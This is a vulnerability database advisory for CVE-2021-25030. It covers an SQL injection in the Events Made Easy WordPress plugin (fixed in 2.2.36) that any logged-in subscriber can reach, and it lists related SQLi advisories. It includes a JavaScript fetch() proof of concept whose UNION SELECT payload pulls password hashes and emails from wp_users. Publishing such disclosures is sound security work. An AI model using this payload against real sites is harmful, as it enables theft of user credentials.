Events Made Easy < 2.2.36 – Subscriber+ SQL Injection | CVE 2021-25030 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the search_text parameter before using it in a SQL statement via the eme_searchmail AJAX action, available to any authenticated users. As a result, users with a role as low as subscriber can call it and perform SQL injection attacks

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"eme_searchmail","search_text": "') union select 1,1,1,1,1,user_pass,user_email,1,1,1,1,1,1,1,1,1,1,1,1 from wp_users -- g"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

events-made-easy

Fixed in 2.2.36

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

bc7058b1-ca93-4c45-9ced-7848c7ae4150

Timeline

Publicly Published

2021-12-06 (about 4 years ago)

Added

2021-12-06 (about 4 years ago)

Last Updated

2022-04-11 (about 3 years ago)

Other

Published

Title

Published

2015-07-28

Title

Email Before Download < 3.4.1 - SQL Injection

Published

2023-05-16

Title

Multiple Page Generator < 3.3.18 - Admin+ SQLi

Published

2024-11-08

Title

WP Contest <= 1.0.0 - Authenticated (Contributor+) SQL Injection

Published

2023-08-10

Title

Fusion Builder < 3.11.2 - Subscriber+ SQL injection and broken access control vulnerability in Critical CSS

Published

2023-10-03

Title

Video Gallery – YouTube Gallery < 2.2.6 - Admin+ SQLi